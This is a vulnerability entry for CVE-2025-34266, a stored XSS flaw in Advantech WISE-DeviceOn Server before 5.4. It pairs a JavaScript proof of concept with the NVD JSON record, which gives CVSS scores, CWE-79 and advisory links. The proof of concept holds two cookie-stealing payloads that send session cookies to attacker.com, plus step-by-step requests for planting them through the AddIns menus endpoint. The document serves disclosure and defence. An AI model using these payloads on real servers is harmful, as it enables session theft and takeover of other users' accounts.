CVE-2025-34266

// CVE-2025-34266 PoC - Stored XSS in Advantech WISE-DeviceOn Server // Target: /rmm/v1/plugin-config/addins/menus endpoint // Payload injection via label or path parameter const payload = '<script>document.location="https://attacker.com/steal?c='+document.cookie+'"</script>'; // Alternative payload using event handler (bypasses some filters) const altPayload = '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">'; // Step 1: Authenticate and obtain session token const loginReq = { method: 'POST', url: '/api/auth/login', body: JSON.stringify({ username: 'low_privilege_user', password: 'password' }) }; // Step 2: Add malicious AddIns menu entry const addMenuReq = { method: 'POST', url: '/rmm/v1/plugin-config/addins/menus', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <session_token>' }, body: JSON.stringify({ label: payload, path: '/malicious/plugin', enabled: true }) }; // Step 3: When other users view AddIns UI, XSS executes in their browser context

{"cve": {"id": "CVE-2025-34266", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:56.580", "lastModified": "2025-12-17T17:15:50.013", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/plugin-config/addins/menus endpoint. When an authenticated user adds or edits an AddIns menu entry, the label and path values are stored in plugin configuration data and later rendered in the AddIns UI without proper HTML sanitation. An attacker can inject malicious script into either field, which is then executed in the browser context of users who view or interact with the affected AddIns entry, potentially enabling session compromise and unauthorized actions as the victim."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:wise-deviceon_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.4", "matchCriteriaId": "BFB1F2C4-C260-473E-A6E1-EE7DFC3EF083"}]}]}], "references": [{"url": "https://advcloudfiles.advantech.com/cms/2ca1b071-fd78-4d7f-8a2a-7b4537a95d19/Security%20Advisory%20PDF%20File/SECURITY-ADVISORY----DeviceOn-20251208-2.pdf", "source": "[email protected]"}, {"url": "https://docs.deviceon.advantech.com/docs/resource/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/advantech-wise-deviceon-server-authenticated-stored-xss-via-pluginconfig-addins-menus", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}